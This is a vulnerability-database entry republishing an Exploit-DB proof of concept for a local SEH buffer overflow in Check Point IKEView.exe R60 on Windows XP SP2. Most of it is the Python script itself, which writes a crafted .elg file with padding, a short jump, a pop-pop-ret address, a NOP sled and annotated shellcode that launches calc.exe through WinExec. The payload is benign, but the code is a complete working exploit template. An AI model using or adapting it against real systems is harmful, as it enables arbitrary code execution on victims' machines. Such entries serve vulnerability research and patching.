IKEView.exe R60 localSEH Exploit

vendor:

IKEView.exe

by:

cor3sm4sh3r

7,2

CVSS

HIGH

Local SEH Exploit

119

CWE

Product Name: IKEView.exe

Affected Version From: R60

Affected Version To: R60

Patch Exists: YES

Related CWE: N/A

CPE: a:checkpoint:ikeview:r60

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP2

2015

IKEView.exe R60 localSEH Exploit

IKEView.exe R60 localSEH Exploit is a local exploit which is used to execute arbitrary code on the vulnerable system. The exploit was discovered by hyp3rlinx and was tested on Windows XP Professional SP2. The exploit uses a short jump, pop pop ret and a nopsled to execute the payload. The payload contains instructions to execute calc.exe and exit the process.

Mitigation:

The user should update the vulnerable version of IKEView.exe to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: IKEView.exe R60 localSEH Exploit
# Date: 17/09/2015
# Exploit Author: cor3sm4sh3r
# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/pub/shravan-kumar-ceh-oscp/103/414/450
# Category: Local

#[+] Gr337z: hyp3rlinx for finding the bug
#[+] Source:
#http://hyp3rlinx.altervista.org/advisories/AS-IKEVIEWR60-0914.txt
# exploit as been tested on win XP professional sp2 
 
 
 
#Vendor:
#================================
#www.checkpoint.com
#http://pingtool.org/downloads/IKEView.exe


#!/usr/bin/env python
file="IKEView.elg"
x=open(file,"w")
nseh = "\x90\x90\xeb\x32" #short jump
seh = "\xc0\x28\x40\x00" #pop pop ret
nopsled = "\x90"*50
#badchars += "\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

buf  = "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
buf += "\x50"                 #=> PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
buf += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe"          |  Push The ASCII string to the stack
buf += "\x68\x63\x61\x6C\x63" #=> PUSH "calc"          |
buf += "\x8B\xC4"             #=> MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
buf += "\x6A\x01"             #=> PUSH 1               |  Push uCmdShow parameter to the stack
buf += "\x50"                 #=> PUSH EAX             |  Push the pointer to lpCmdLine to the stack
buf += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d     |  Move the pointer to WinExec() into EBX
buf += "\xFF\xD3"             #=> CALL EBX    
buf += "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
buf += "\x50"                 #=> PUSH EAX             |  Push EAX
buf += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2     |  Exit process
buf += "\xFF\xD3"             #=> CALL EBX
junk = "A"*(4424)
payload = junk + nseh + seh + nopsled + buf
x.write(payload)
x.close()